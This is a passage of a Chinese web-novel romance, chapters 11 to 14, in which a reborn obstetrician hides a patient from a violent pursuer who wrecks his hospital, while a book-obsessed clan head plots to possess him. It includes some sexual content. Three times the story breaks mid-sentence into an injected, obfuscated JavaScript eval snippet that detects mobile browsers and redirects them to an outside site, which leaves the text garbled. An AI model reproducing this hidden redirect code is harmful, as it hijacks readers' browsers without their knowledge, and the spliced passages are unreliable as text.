萧君耀微微捏紧了拳头,唯独不能在枫音尘面前再驳了自家侄子的面子,只能咬碎牙和血往肚子里吞咽。 枫音尘抚着他的小黑蛇,一脸洋洋得意地转身便走,郁瑟则是瞧了一眼彻底脸黑如墨的萧氏叔侄,主动跟上前者的步伐。 枫音尘有个小癖好,假如从语言上荼毒了他人,便会一整天的情绪都很平和,也会格外好接触一点。 两人重新坐上车后,枫音尘朝郁瑟问道,“郁医生今晚要在哪里过夜?” 郁瑟思忖着,无论如何是不会跟你回枫家过夜的,找了个很合适的借口,“我从昨天出诊之后,一直都未曾回去,身上的衣物需要更换。” 为了以后的工作更好处理,郁瑟不得不解释,“而且我同时服务于其他几家雇主,不是驻宅的私人家庭医生。” 话已经说得很清楚,也很圆满了。 不知怎的,冥冥中能感受到枫音尘的好情绪遭到了破坏,低声嘀咕了句,“也对,医生是世界上最衷心,也最不忠心的职业。” 郁瑟感觉他在抱怨,但又可能是因为雇主觉得自己花了钱,却没有得到更加固定和唯一的服务,容易产生埋怨。 为了自己的事业幸福,郁瑟不得不委婉地补充一句,“我们这种职业,只在雇主有需求的时候出现即可,只要三少爷那边有需要,即使是三更半夜我也会在第一时间抵达,所以请枫先生放心,维护雇主的身心健康是我的职责所在。” “哼,”美人轻声发出一点鼻音,总有种百转千回的情态,似乎对这个回答并不满意,微微侧头以一种既不过分亲昵也不疏离的姿态看向窗外,“三少爷可没给你写支票。” 这句话听起来还有那么点意思。 不过,郁瑟不愿自作多情,他也未将枫音尘这些林林总总的怪话反复体会。 虽说郁瑟对枫音尘的外貌很动心,但远远达不到动情的程度。 在路口,郁瑟从车上下来,礼貌地目送车辆远行。 心底淡淡拧了一口气。 不是针对枫音尘的,而是萧凛。 他总觉得萧凛今天看枫音尘的眼神极其凶狠,并且还分给自己了一部分怒火。 其实无论是萧凛,或者是枫音尘,完全属于同样的类型——高高在上的掌权者一但支付了酬劳,总觉得便拥有支配这个人的一切。 贴心的服务与绝对的忠诚。 果不其然。 郁瑟打车刚到达慈康男性产科私人医院的大门,萧凛的电话已经拨打来了。 对方也说得很清楚,决定将小娇夫送去国外最先进的医院待产,所以郁瑟这边的资助会彻底断掉。 萧凛虽然没有明说,但暗存的意思正是如此。 索性萧凛没有收回医院的使用权,以及一屋子的昂贵医疗设备。 不是因为他仁慈,而是因为这些东西收回去毫无用处,跟垃圾一样。 郁瑟被金主抛弃了!! 郁瑟刚挂掉电话,第一个闪进脑海中的念头是——还好吃饭的工具没有被没收,暂时还能发得起工资。 走进空旷的医院,郁瑟望着那熟悉而又空旷的走廊,只是一整天没有回来而已,心中已然五味杂陈。 ——不过没关系,本来等萧凛的小娇夫生产之后,他这边也会被自动冷落。 毕竟,只要医院继续运营,患者总是络绎不绝。 他又不是没有高超的接生技术! 郁瑟深吸一口气,努力平复稍显复杂的情绪,医院内静悄悄的,只有偶尔传来的仪器运行声,打破了这份沉寂。 去到二楼一间隐秘的小房间,隔着玻璃窗户看到白梵正在哄小遇安睡觉。 多么温馨的一幅画面。 为了提防陆云辰突然杀回来搜查医院,只能先委屈这对父子暂且居住在小房间内。 郁瑟不忍心打扰两人的相处时间,蹑手蹑脚地去三楼自己的房间睡觉。 他是一个已经死去的人,似乎对任何超乎生死的事情,都能秉持一种超乎寻常的淡然态度。 能重生到书籍世界,对于郁瑟来讲是全新的开始,他更加不会被任何事情干扰心神,重新过回那种劳碌伤神的疲乏生活中去。 他现在想得特别开。 所以一夜好睡,郁瑟照例六点钟起床,吃完医院特供的月子营养餐,准备去巡视病房。 却听见徒弟王齐急匆匆地脚步传来,边跑边喊道,“师傅,你回来了吗?!” 郁瑟应诺一声。 王齐像是看见主心骨似的,慌张言道,“大事不好了,医院门口汇聚了一群人,我刚才被挡在外面,差点没有钻进来!” 郁瑟一听,立刻拉开右手边的房间,快步靠近窗户看了一眼下面,只见陆云辰带着一伙黑压压的保镖,正往医院内走。 坏了。 郁瑟腹诽,这家伙是属曹操的吗?怎么这么不经念叨。 跟王齐交待说,“你手脚利索,快点帮助白梵和孩子从侧门躲出去,我把这些人压住。” 说着,双手将白大褂一拉一扯,振臂一抬穿上身去。 医院的小保安俨然要压不住这伙人了,不停警告说,“这里是医院,你们最好不要乱来,否则我要报警了!”可惜他颤抖的双腿出卖了此刻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110190|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心惊担颤。 一只大手稳稳地摁住他的肩膀,帮助他朝后退缩的身躯站稳。 郁瑟露出脸来笑道,“何必动这么大的怒气呢,陆先生?”点头示意保安站到自己身后。 医闹也不是没经历过,面前这些都是训练有素的私人保镖,不会轻易动手伤人。 小场面。 陆云辰估计好几天没睡过一次安稳的好觉,两个眼圈泛起淡青,眼睛里布满了血丝,神色却异常恐怖。 他紧紧盯着郁瑟,仿佛要将人活生生看穿一般。 郁瑟故作镇定地转过头去,不与他对视,心里却在盘算着如何应对接下来的局面。 陆云辰也算体面的人物,对着郁瑟开门见山道,“我再问一遍,白梵是不是死了?!你只要告诉我实话,我不会拿你怎么样的。” 郁瑟心里早猜到了他的目的,冷静地盘算着陆夫人究竟有没有出卖自己。 索性赌一把说,“死者为大,我身为医生不会拿病人的生命来开玩笑!” 陆云辰闻言,眉头一皱,满脸充盈着如火如荼的恨意,目光凌厉地扫向郁瑟,语气中带着不容置疑的疯狂,暴吼一声,“给我砸!!” 语毕,站在他身后的保镖鱼贯而出,仿佛一群专门劫掠烧杀的匪徒,三五成伙地钻进每一个房间,抡起棍棒一顿乱砸,顷刻间玻璃碎片四散飞溅,瓷器摔碎的清脆声响此起彼伏,室内顿时一片狼藉。 郁瑟目睹这一幕,脸色变得煞白,双手紧紧握住也大喊一声,“稍等片刻!” 陆云辰微微抬手,那群负责打砸的保镖们迅速停止,站在狼藉之中虎视眈眈。 陆云辰笑得有点不正常,浑身爆发出的戾气宛若吞噬理智的暗影,正在一点一滴地嚼碎他的骨头。 原本不应该感到痛苦的。 原本那个叫做白梵的人,在他的人生规划中,不应该带来丝毫波澜,更不应该让自己此刻的心,如同被千万根细针同时刺痛。 但事实却是,每当陆云辰在家里走动,看到的每一个与“白梵”曾生活过的痕迹息息相关的地方。 这个名字,宛若无形的刀剑狠狠刺进他的喉管,连呼吸都变得艰难。 不应该!不应该!不应该啊啊啊!! 陆云辰起初告诫自己,之所以会有异常的情绪,是因为对方怀了自己的骨肉! 而且是通过最为卑鄙的手段才怀上的! 我不爱他我不在乎他,他可有可无?! 然而每一天,每一天,只要陆云辰回到他和白梵曾一起生活过的房间内。 他就难受,他就痛苦,他就浑浑噩噩到不能呼吸。 这一切究竟是为什么?! 陆云辰朝郁瑟露出残忍的冷嘲,“如何?现在打算告诉我事情的真相了吗?” 郁瑟淡淡地凝视着他的狰狞,言道,“二楼有两个小护士是女孩子,才刚刚二十几岁,不要吓到她们。” “等她们下来,您接着砸。” 头脑里的一根线彻底被击碎了! 陆云辰站在一片凌乱之中突然发疯般地凄厉大笑,连跟着他一同前来的保镖都觉得恐怖,纷纷怀疑他们的主子一定是被逼疯了。 郁瑟叹了口气,转身去叫那两个小护士的名字,等两个小姑娘哭哭啼啼地抱团跑过来,他让小保安先带着人去外面躲躲。 然后冷静地走回自己的办公司,在一堆碎成渣的资料盒中,拿出两张又脏又破的资料。 重新返回到痛苦不堪的陆云辰面前,递给他道,“这是两份火化证明书,白梵和孩子的,陆先生你不信我的话,可以拿回去没事多看一看。” 12.第 12 章 陆云辰的表情分外精彩,对那两张纸的排斥反应已经达到了极致。眼神中不断透露出难以掩饰的绝望与烦躁。 双手颤抖得像是要撕碎这两张火葬证明。 亦或者是撕碎郁瑟。 郁瑟则是一脸平静,用医生见惯生死的淡然态度,主动将两张纸丢给对方。 仿佛在为一场肉眼可见的火葬场,提前焚烧了两挂冥币。 如此平静且犀利的行为,立刻刺激到了发怔的陆云辰,对方仿若被烧滚的热油烫到双脚。 不,他的整个人,整个灵魂,包括他的每一根神经与血管,全被热油煎熟煮沸,痛苦与愤怒在心中交织,让人窒息。 他的双眸赤红,紧咬着牙关,仿佛要将所有的不甘与恨意都隐藏在这无声的愤怒之中。 而后,一脚踩碎了两张证明,幽怨得仿佛从地狱中爬出的恶鬼。 对郁瑟恶毒道,“你说的我根本不信,包括你拿出来的这两张纸,我完全不信!” “白梵根本不会死!我不同意,他绝对不能死!!” 郁瑟淡淡无奈着——你也不是阎王爷啊。 可能是这种无所畏惧,又处之淡然的态度深深刺激到了对方。 陆云辰一把扯住郁瑟的手腕,几乎要捏碎他的腕骨,不停咆哮道,“都是你,都怪你这个该死的庸医!假如不是你的医术不够高超,怎么会害死白梵和我的孩子!” “我要你死!!”说着举起紧攥的右拳,眨眼向郁瑟的方向砸去。 被门外新涌进来的一拨保镖死死摁住,无意中保住了郁瑟,使他避免遭劫。 陆云辰已经疯魔的不像话,一两名保镖根本抱不住他,只能多来几个将他踢打的双腿也控制住。 陆云辰趴在地面,双臂小范围地挥动,依旧不停狠狠地诅咒着郁瑟,说他是个庸医,是一个一无是处的垃圾,还说他是草菅人命的刽子手。 郁瑟原本是毫无感觉的,直到他最后这几句话喊出来之后。 郁瑟的心脏猛地一沉,一股难以言喻的酸涩感涌上心头。他望着那个趴在地上,面容扭曲的男人,心中五味杂陈。他并不是被陆云辰的无理取闹伤害到了。 而是,这几句话对于他来讲,确实有着致命性的打击。 曾经,在他刚迈入医生这一个行业的时候,郁瑟其实并不是做产科医生的。 而那时,发生了一件足以扭转他一生信念的事情。 庸医、刽子手、草菅人命!! 这些词汇像是一把把锋利的匕首,深深地刺进了郁瑟的心脏,那段尘封已久的记忆如同潮水般涌来,残忍地撕碎着隐秘不宣的伤口。 看来,残忍是一把双刃剑,并非只能伤害到陆云辰一个人。 匆忙赶来的陆夫人尖声喊着,“把他摁住,对,拿绳子捆起来带回去!” “疯了,真是疯了!” 陆夫人的状态也不妙,大约这几天被陆云辰这个继子搞得精神溃散,完全不像是上一次见面时的光彩照人。 她冲陆云辰算是仁至义尽了,虽比不上亲生母亲,好歹也是关心的,朝着发疯的陆云辰道,“你看看你,现在究竟像是什么样子!人不人,鬼不鬼的!” “那白梵和孩子已经死了,人也都早烧成灰烬,你之前不是一直见不得白梵那个贱人吗!你瞧瞧你现在究竟在做什么!” “公司也不管!家里也不回,成天的买醉发疯!连和林家的婚约也取消了!” 人在气急败坏的时候,肯定是什么话都要说出口的。 陆云辰不管,他现在只想找到那个让他魂牵梦绕的人,还有他们的孩子,哪怕只是两具烧焦的尸体,他也想亲眼见到,好让自己彻底死心。 “你们不懂,白梵没死,他一定没死!”陆云辰挣扎着,双眼赤红,仿佛一头被困住的野兽。 陆夫人气得浑身发抖,她不明白这个继子为何会如此执迷不悟。“你清醒清醒吧!他死了,他和孩子真的都死了!”陆夫人声嘶力竭地喊道。 但陆云辰却像是完全听不进去,他的脑海中不断回荡着白梵的笑容和温柔的话语。他不相信,不相信那个深爱着他的男人会如此轻易地离开他。 “我不信他死了!”陆云辰疯狂地挣扎着,一把将地面的证明塞进嘴里,不停地咀嚼。 而他的双眸,仿佛燃烧淬毒的火焰,直逼向郁瑟道,“你这个庸医,我要让你在整个龙城名誉扫地!让你为害死白梵付出代价!!” 而后,陆云辰被七八个保镖合力抬起来,强行塞进门口的车中。 陆夫人扶了一把耳侧凌乱的发髻,与郁瑟深深对望一眼,也没说要支付任何赔偿金的意思,转身也挤进车内,指挥车子快速离开现场。 世界又恢复了平静,还有一地的破碎凌乱。 郁瑟轻叹一口气,原本好端端的饭碗被人砸了,任谁也会觉得难过吧。 一天之内,郁瑟失去了萧凛这个大金主,又被陆云辰盯上,恐怕以后的日子根本不会好过。 到了晚上,他才拖着疲惫的身躯,到徒弟王齐租住的房子与他汇合。 白梵跟孩子暂时也藏在那里,因为两人现在属于黑户口,根本不敢住到酒店去。 白梵大概也听王齐讲了郁瑟的事情,尤其连医院也砸得七七八八,恐怕以后更不好营生了。 原本他还对陆云辰这个人存有些好印象,如今彻底灰飞烟灭,只觉得自己当初一定是瞎了眼,才会看上如此糟糕的一个人。 郁瑟瞧他一脸的抱歉,眼眶微微扫着淡红,似乎刚刚哭过一场。 他拍了拍白梵的肩膀,说道:“没事的,这不怪你。是我自己撒的弥天大谎,现在也算是跟陆云辰互相扯平了。” “他根本不配与你相提并论!”白梵如今恨毒了陆云辰,全权护着郁瑟道,“他就是个活脱脱的畜生!” 说着。 白梵提出了一个惊人的办法。 “郁医生,你把我交出去吧!”白梵如今对那个人已经心如死灰,“只要我重新回到他的身边,陆云辰就不会来继续骚扰你,更不会让慈康医院彻底关门,更不会弄脏你的名声!” 只是,只是...... “遇安我坚决不能给他,陆云辰这样的畜生不配拥有我的孩子!” 言罢,他像是托孤一般拉住郁瑟的手,言辞恳切道,“郁医生还得辛苦你,帮我把孩子送出去,只要遇安不被陆云辰带回去,我就是......我就是跟他拼了!!” 郁瑟突然淡淡笑了,用手抚摸了一把白梵的头,如同温柔的兄长一般。 “这件事情你不要往牛角尖里钻,我既然敢和陆云辰叫板,肯定是做好了其他打算的。” 郁瑟微微哄了激动的白梵几声,“你自己都说了,陆云辰并非良人,你现在回去会遭遇些什么,我们都不敢保证。” “人的生命是很宝贵的,要用在对的事情和对的人身上。” 他朝一脸焦急的白梵再三宽慰,“不要拿自己的生命开玩笑,我是一个医生,最不能看到有人不尊重自己,不尊重生命的事情发生。” “而且,你忍心抛下孩子?让他从小就没有父亲?” 白梵激动的情绪,总算是被安抚下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119166|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁瑟道,“放心吧,我有办法,你且安心地等我安排。” . 晨光从窗帘的细缝中钻进,将屋内的繁复陈设镀上了一层晦暗且潮湿的雾泽。 屋内的空气中充斥着强烈的咸猩气味,不只是汗液,或者是其他液体的味道。 华贵且巨大的床上仰身躺着一具堪称完美无缺的男人,墨玉色的睡袍由中间滑开,露出一具肌肉虬实,但线条堪比雕塑艺术品,肌理宛若冷玉一般的身躯。 还有两个狰狞似铁的东西,在阴暗的帘影下宛若擎天立地的阴冷石峰。 伊尔曼盘卧在壁垒分明的腹肌上,用蛇尾死死地缠住两座石峰,嘶嘶嘶地吐露出猩红的舌尖。 直到它的主人因为极致的愉悦,由沉重的呼吸转为慵懒的闲散。 枫音尘并没有紧闭双眼享受贤者时刻。 相反,他正在看书。 一本被繁复阅读、摩挲、研究的,甚至连封皮也不知丢到哪里的泛黄书籍,此刻正被枫音尘举在双手之间。 不停地打量,不停地阅读,不停地发疯臆想,直到他的急促缓缓降低成正常人的频率,从一个阴暗的疯子变成时常伪装的冷艳高贵。 其实,他打量书籍的第13章内容,已经达到了如疯如疯如魔的程度,整整看了几个小时相同的内容,颅脑内的高.潮此起彼伏。 书籍纸页间每一道裂缝,掌心渗透的汗液,念念不忘折叠的压痕。 全部是他多年来亲手所致。 这本书叫做《强宠郁医生的九十九夜》 是整个书籍世界的来源。 枫音尘并不在乎自己所处的世界究竟是什么诡异的东西,他只在意。 这本书的主角叫郁瑟,是一名医生。 郁瑟。 郁瑟郁瑟。 郁瑟!!! 枫音尘无数次无数次地默读这本书,将书里的每一个细节都镌刻进DNA里。 尤其,他超级超级疯狂喜欢第13章。 书上是这样描写的: 【郁瑟的脸色凄惨,白得仿佛一张浸透的宣纸,脆弱又无助,完全比不上平常的镇定。】 【萧凛的无情撤资,使他失去了可靠的背景,就连陆云辰这个疯子,也开始四处造谣,谣传他手上沾着两条人命。】 【郁医生不得不寻找全新的庇护所,究竟什么样的人,能帮助他躲避两大家族的迫害呢。】 【枫家。】 【郁瑟站在枫音尘面前,小心翼翼地打量着眼前无比完美艳丽的男人,如实说出了自己的想法。】 【枫音尘却从他躲闪的眼中,看出一只慌张的小鹿被猎人逼进火坑的凄惨处境。】 是你自己选择跳下来的。 【枫音尘说:“郁医生,你穿白袍的模样很性感,但是,只穿白袍的话......会更加好看。”】 【震惊!羞耻!侮辱性极强的却是郁瑟自己也觉得有点动心,毕竟枫音尘长得很美,完全处于他的理想型,尤其是枫音尘的权势地位,完全可以保障他在龙城这个地方继续生存下去。】 【也许,他真的被逼到极限了,被迫签下了那荒谬九十九夜的合约。】 【只穿着白袍的郁瑟像一株被狂风摧残的兰花,他坐在枫音尘的身上,接受来自男人毫不留情的......】 【......】 枫音尘每次看到这一段,整个人亢奋得快要烧碎了,一把扯来小黑蛇,愉快得、变态得吻了吻小黑蛇的头。 一双眼眸绿得像野兽,“妈妈马上要自投罗网了,你开心吧?!” 13.第 13 章 ——第13章,我忍耐了无数个寂寞的暗夜与黄昏,只是为了等待这足以令人心潮澎湃的关键瞬间。 终于可以把郁医生永远得弄到手了! 枫音尘朝手中的小黑蛇露出一点微笑,即使是自己亲手养大的伊尔曼也像是被惊吓到了似的,立刻做出某种臣服的姿态。 适时。 金管家过来敲门,声音隔着厚重的红木门道,“家主,郁医生来了,说想跟你见一面,不知......” 其实金管家觉得郁医生多少有些不知好歹了,在枫家想见三位少爷尚算合理,居然敢主动提出要求,企图见家主一面。 枫音尘将手中的书籍放入床头柜中的宝匣内,再锁上只有他能打开的指纹锁。 故作高冷说,“叫他在书房等我半小时。” 这半个小时非常重要,枫音尘喝了高蛋白粉,锻炼了十五分钟的肌肉,确保每一块肌肉拱起的弧度完美无缺,又用十分钟沐浴焚香,将每一根头发丝都搭理得清爽飘逸,漱口水也是必不可少得选择了薄荷气味的。 郁瑟喜欢他的脸,枫音尘无论是从书中记载,或是几次见面的验证中,都在证实这个事实。 这是属于他们两的初次,第一个夜晚的缠绵悱恻。 必须重视。 所以郁瑟负手立在书房的落地窗前,闻声而动,侧眸转向进门的枫音尘,立刻被对方优雅秾丽的模样深深吸引。 郁瑟身为一个医生,原则上是儒雅随和、文质彬彬的,但实际上作为一个正常男人,尤其还没怎么谈过恋爱,目前只知道自己的爱好也是男人的万年老实人。 郁瑟见到枫音尘的第一眼,心跳便不由自主地漏了一拍,他暗暗唾弃自己的不争气,明知枫音尘的权势地位与落魄的自己云泥之别,却总难以掩饰内心的悸动。 枫音尘一身雪白无垢的西装包裹,穿得一丝不苟,头发微湿精致,带着淡淡的薄荷香气,仿佛刚从清晨的露水中走来,妖艳脱俗,又不失男性的魅力。 一双翡翠琉璃色的眸子分外妖娆,流转着摄人心魄的光芒,那眸子中似乎藏着无数的秘密与故事,每一次转动都仿佛在诉说着不为人知的计划。 郁瑟故作镇定地收回目光,轻咳一声,想要掩饰自己的失态。 他暗自提醒自己,不要越界,于是清了清嗓音道,“抱歉,清早过来叨扰。” 【不,你来得恰到好处。】 枫音尘没有随身携带伊尔曼,谨防自己因为忍不住全身压抑得兴奋,失手将小黑色捏爆浆。 【想要郁医生!】 枫音尘只能将紧绷着力量的右手放置在书桌桌面,一边走向郁瑟,一边用指尖划过平滑的桌面,最终落座在最靠近郁瑟的位置。 露出最漂亮的微笑道,“无妨,反正我也睡不着。” 【想要郁瑟!】 枫音尘的眼神既大胆,又收敛,沿着郁瑟的清淡面孔,一点点滑进医生的衬衫领口中,臆想回味。 郁瑟今天并没有穿医生用的白袍,相反,他穿着一件同色系的白衬衣,纽扣照例系到喉结的位置,而下摆塞进西装裤中,第一次让枫音尘能直观地看到郁瑟的腰线,是如此的诱人与纤细。 他喜欢郁瑟穿雪白的白袍,宛若圣洁的天生,光辉熠熠,所以在今天这最为隆重的章节里,他也穿了雪白色的西装与之搭配。 ——反正等一会儿都得脱掉。 只穿着白衬衫的郁医生也很不错,臀线中央的风景能更好得在衬衫的边沿底下若隐若现。 【想瑟瑟想得钉钉要爆炸了!!】 嘶。 枫音尘禁不住勒令自己快住脑,否则他简直快要压制不住自己的兽性了。 郁瑟瞧他一脸平静,跟之前每一次见到的平静却迥然不同。 诡异的,蛰伏的,压抑到底线即将反弹失控的。 看来枫先生晚上睡得不错,早晨起床也没有什么可怕的起床气。 正适合由我来先开口。 郁瑟微作调整,朝枫音尘鞠了半躬,言辞恳切道,“我听大少爷讲,是家主您决定跟我这边续长约的。” 枫音尘觉得他的声音特别好听,堪称声色并茂,想让郁瑟说多一点,眼神示意请继续。 郁瑟便更为大胆地继续说着,“首先很感谢您和少爷们的信赖,给我如此一份巨大又诚挚的信任。” 继续。 “可是,抱歉,我恐怕不得不辞去枫家的职务,因为一些私人原因,我大概需要离开龙城一段时间,但也可能是永远。” 枫音尘:“!!!!” 为什么跟小说里写得完全不一样!!! 郁瑟的笑容很疲惫,令人无法批评他一星半点,尤其他的态度诚恳周到,也无法让人对他生气。 郁瑟说,“感谢家主的重视和提携,既然决定要走,肯定是最先跟你打个招呼才好。” 言罢,从西装裤兜里掏出一张二十万的支票,恭敬且谨慎地放置在两人之间的桌面。 “这是我的违约金,希望家主能够宽宏大量,体谅我的难处。我深知这突然的决定给您和枫家带来了不便,但请相信,这是我经过深思熟虑后的选择。” “这张支票,虽不足以完全弥补我的违约给您造成的损失,但它代表了我对枫家的感激与歉意。希望在我离开后,枫家能够继续繁荣昌盛,各位少爷们也能一切安好。” 郁瑟觉得自己说得很完美,只要看看枫音尘的面色便知,对方已经完全愣住,那双翡翠琉璃色的眸子失去了往日的从容,流转着惊愕与不解。 郁瑟心中暗自松了口气,至少目前看来,自己的离开没有引起太大的反感或愤怒。 他轻轻道了一声“珍重。”快速离开了书房。 其实他决定先给枫音尘请辞是十分合理的,毕竟家主同 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犹豫片刻,终是放心不下,轻轻推开门缝,只见书房内一片狼藉。 枫音尘站在一屋子“废墟”之中,周身环绕着莫挨老子的冷光,仿佛置身业火中的艳鬼,眼神中激闪出滔天的怒意。 金管家见状,连忙上前,欲要开口询问,却见枫音尘轻轻抬手,制止了他的话语。 空气中弥漫着一股压抑的沉默。 他的目光,最终定格在书桌旁散落的一本破破烂烂的书上。 冷哼一句,“你敢逃?” 也不瞧瞧究竟是谁掌控着所有剧情。 金管家吓得汗毛倒立,连声说,“我没有逃跑,家主。” 枫音尘没有理睬他,而是伸手叫他取来手机,直接拨打一通电话给未知名的人物。 电话接通后。 枫音尘恢复成之前的阴冷绝艳,朝里面道,“萧先生,那天的事情我回来后又仔细思考了一下,联姻的事情倒是还有回转的余地。” “你的侄子萧凛那天态度不好,叫他来枫家道个歉,应该不算难事吧?” 枫音尘得到了自己想要的答案,脸上的怒火也如展开的花儿般,淡淡散去。 挂掉电话,对一旁耳提面命的金管家道,“看守知乐的保镖现在全部撤掉,让他尽快逃出去。” 朝金管家勾了勾手指,等管家的耳畔小心翼翼地凑过来,阴恻恻言道,“确保他在外面连一分钟也待不下去。” 说出计划后,连金管家都汗颜了。 枫音尘却全然无所谓,这个世界的人除了郁瑟之外,在他眼中全部是NPC。 不,其实郁瑟也是NPC。 不过是他不断臆想的一个代替品而已。 14.第 14 章 枫知乐不知道自己究竟是怎么跑出来的,反正等他意识到自己站在阳光普照的大街上时,枫家的安保系统、紧紧监控一举一动的私人保镖、以及那令人窒息的家族规矩。 仿佛都随着他身后紧闭的大门,一同被关在了里面。 他深吸了一口自由的空气,那是一种久违的、充满草木清新与人间烟火的味道,让他觉得前所未有的舒畅。 街上来往的行人、远处传来的笑声、店铺里播放的流行音乐,这一切都那么真实,那么生动自然。 枫知乐感觉自己又活了过来。 但是重新获得自由的快乐转瞬即逝,枫三少爷知道若是家里人发现自己偷跑了,一定会发动更多的人来找他。 所以枫知乐的目标很明确,不去学校也不去熟人家里,最先去的地方,是那个人的家。 枫知乐选择徒步前往,看多了电影的小少爷,也知道手机有定位功能,但又不能扔掉,只能暂时先关机,又将电话卡拔掉。 一向活泼开朗的枫知乐今天也不知道是怎么回事,平常在大学里参加各种体育锻炼,虽说体能方面不算佼佼者,但也是个健康的男孩子。 一路上呕吐了三回,而且身体虚弱得厉害,伴随着小腹部沉沉地胀痛感,每一步都像是踩在棉花上,软绵绵的,使不上力气。 走走停停。 枫知乐总算是来到那个男生租住在外面的临时宿舍。 男生是外地人,凭借优秀的学习成绩考到了龙城大学,跟枫知乐念同一个系。 枫知乐是典型的小少爷,从吃穿用度上就能看得出来,光是一双板鞋最便宜的也需要上千元。 所以围在枫知乐身边的人也很多,当然酒肉朋友也不算少,不过真正能入得了枫知乐眼的却寥寥无几。 这个男生,就是其中一个。 他们是在一次专业课上认识的,因为一次课堂讨论,两人意外地发现彼此在很多问题上的看法不谋而合,从此便结下了不解之缘。 虽然性格迥异,一个外向开朗,一个内敛沉稳,但这并不妨碍他们成为好朋友。 枫知乐知道,这个男生虽然家境贫寒,但凭借着自己的努力和才华,总有一天会大放异彩。 枫知乐算是后知后觉,发现自己暗恋上对方之后,他有些不知所措。 毕竟,他以前从未有过如此的感觉,更不知道该如何表达自己的心意。 枫知乐开始更加关注那个男生,注意他的一举一动,一言一行。 每当看到那个男生和其他人交谈时,他的心里就会涌起一股莫名的醋意。 枫知乐知道,自己这是嫉妒了。 但是,他又不敢直接告诉那个男生自己的心意,生怕会破坏他们之间的友谊。 直到那天晚上,枫知乐跟人打赌,谁赌输了就要穿女装跳舞。 围在身边的朋友很多平常玩得挺花的。 枫知乐本以为这只是场玩笑,却不料自己真的输了。 朋友们开始起哄,非要看他穿女装跳舞不可。 枫知乐心中暗自叫苦,却也不好反悔。 尤其那个男生也在场,枫知乐也不知怎么鬼使神差的,就穿了一件异常性感的露脐超短裙,当着兄弟们的面跳了一支热辣劲爆的《APT.》。 然后所有人开始起哄,轮番灌他酒,枫知乐一边推脱,一边藏在那个男生的背后,希望得到保护。 直到喝醉后变得头晕目眩的,枫知乐闪烁的记忆片段里都是跟那个男生在一起。 第二天起床后,身上满满的是迷乱的吻痕,被弄得哪里都是狼藉。 枫知乐在地面捡到了撕碎的小裙子,还有那个男生的外套。 枫知乐一直都以为,是那个男生跟自己共度一夜的。 他不肯对哥哥们实话实讲,完全是害怕枫澄会报复对方。 如今跑出来了,枫知乐的打算也很简单,就是投靠那个男生。 一路上很平安,没有遇见半路杀出来的枫家人。 枫知乐即使呕吐到胃中酸液横肆,依旧坚持着走到了目的地。 天公作美。 他刚到小区附近,就与那个男生迎面相逢。 也不知是委屈还是其他的情绪,枫知乐竟然主动钻了出去,伸手拦住那个男生。 那个男生原本沉默地走着自己的路,被人突如其来地拦住去路,先是一惊,随后露出显而易见的嫌恶。 显而易见的表情瞬间刺痛了枫知乐。 难道说,睡了以后他发现根本接受不了男的,所以觉得恶心了? 枫知乐虽然是枫家小少爷,但是与两个哥哥的年龄相差很大,枫澄枫羽对他的宠溺更多的满足在物质条件上。 所以,枫知乐冥冥中是一个缺爱的孩子。 对方只要露出一点嫌弃的意思,立刻会叫他躲缩进狭小的躯壳内。 枫知乐小心翼翼说,“成良哥,我最近给你打电话怎么联系不到你,你没有把我拉黑吧?” 宋成良原本对他也没什么异常的情感,只是枫家的资本实力雄厚,能在龙城这块地界攀到一定高度的人脉,是每一个人都梦寐以求的。 利用的关系而已。 但是!!! 枫知乐居然赤.果.果得想跟他搞男欢男爱! 宋成良强忍住翻涌的恶心道,“枫三少爷,我们之间,或许有些误会。” 他的话语中带着一丝刻意保持的距离感,试图将两人之间的关系界定得更为清晰。 “我跟你之间只是普通的同学关系,当然是有事情才联系,没什么必要,也不需要联系。” 何况,枫知乐的哥哥将那天晚上一起出去玩的人,一个个从大学里清除干净,手段异常狠辣。 枫知乐撒了谎,所以在一众狐朋狗友里,很好地保护了宋寅。 宋成良又道,“枫少爷,我现在需要去上课了,麻烦你让一让。” 枫知乐顿得委屈起来,走过去拉住宋成良的衣袖,轻言细语着,“我不会耽误你上课的,我只是想问问......那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128527|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天晚上......” 那天晚上…… 难道你对我不满意吗? 结果这一举动彻底激怒了宋成良,他忍住没立刻发火,而是一把甩开枫知乐的纠缠,义正言辞道,“枫少爷,你好歹是名门家的少爷,我劝你自重一点,免得撕破脸大家都难看!” 这话讲得颇重,尤其枫知乐以为两人两情相悦,听进耳朵去完全是照着他的脸扇耳光。 枫知乐委实有点害羞,他也是知道廉耻的,不禁红了脸道,“我不是来纠缠你的,我只是想......” 